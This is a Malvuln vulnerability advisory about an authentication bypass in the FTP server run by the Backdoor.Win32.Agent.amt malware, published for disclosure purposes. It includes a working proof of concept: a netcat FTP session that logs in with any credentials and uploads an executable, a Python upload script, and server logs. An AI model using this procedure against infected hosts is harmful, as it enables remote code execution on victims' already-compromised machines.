Backdoor.Win32.Agent.amt MVID-2024-0673 Authentication Bypass / Code Execution

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024  
Original source: https://malvuln.com/advisory/2a442d3da88f721a786ff33179c664b7.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Agent.amt  
Vulnerability: Authentication Bypass  
Description: The malware can run an FTP server which listens on TCP port 2121. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders can then upload executables using ftp PASV, STOR commands, this can result in remote code execution.  
Family: Agent  
Type: PE32  
MD5: 2a442d3da88f721a786ff33179c664b7  
Vuln ID: MVID-2024-0673  
Disclosure: 02/28/2024   
  
  
Exploit/PoC:  
C:\sec>nc64.exe 192.168.18.125 2121  
220 Welcome To mybr Ftp!  
USER gg  
331 Password required for gg.  
PASS gg  
230 User gg logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
CDUP  
250 CWD command successful. "C:/" is current directory.  
PASV  
227 Entering Passive Mode (192,168,18,125,211,164).  
STOR DOOM_SM.exe  
150 Opening data connection for DOOM_SM.exe.  
226 File received ok  
  
from socket import *  
import time  
  
HOST = "192.168.18.125"  
PORT = 54180  
BUF_SIZE = 32  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((HOST, PORT))  
  
with open("DOOM_SM.exe", "rb") as f:  
while True:   
bytez = f.read(BUF_SIZE)  
if not bytez:  
break  
s.send(bytez)  
time.sleep(0.5)  
  
print("By malvuln")  
s.close()  
  
1/23/2024 9:13:03 PM - gg - 0.0.0.0 Disconnected  
1/23/2024 9:10:36 PM - gg - 0.0.0.0 STOR C:\DOOM_SM.exe  
1/23/2024 9:09:54 PM - gg - PASV C:\  
1/23/2024 9:09:44 PM - CD C:\  
1/23/2024 9:09:44 PM - gg - CDUP C:\  
1/23/2024 9:09:18 PM - gg - SYST C:\  
1/23/2024 9:09:15 PM - gg  
1/23/2024 9:09:15 PM - gg - PASS C:\TEMP\hate  
1/23/2024 9:09:12 PM - - USER C:\TEMP\gg  
1/23/2024 9:09:06 PM - - Connected  
1/23/2024 9:08:58 PM - FTP Started  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`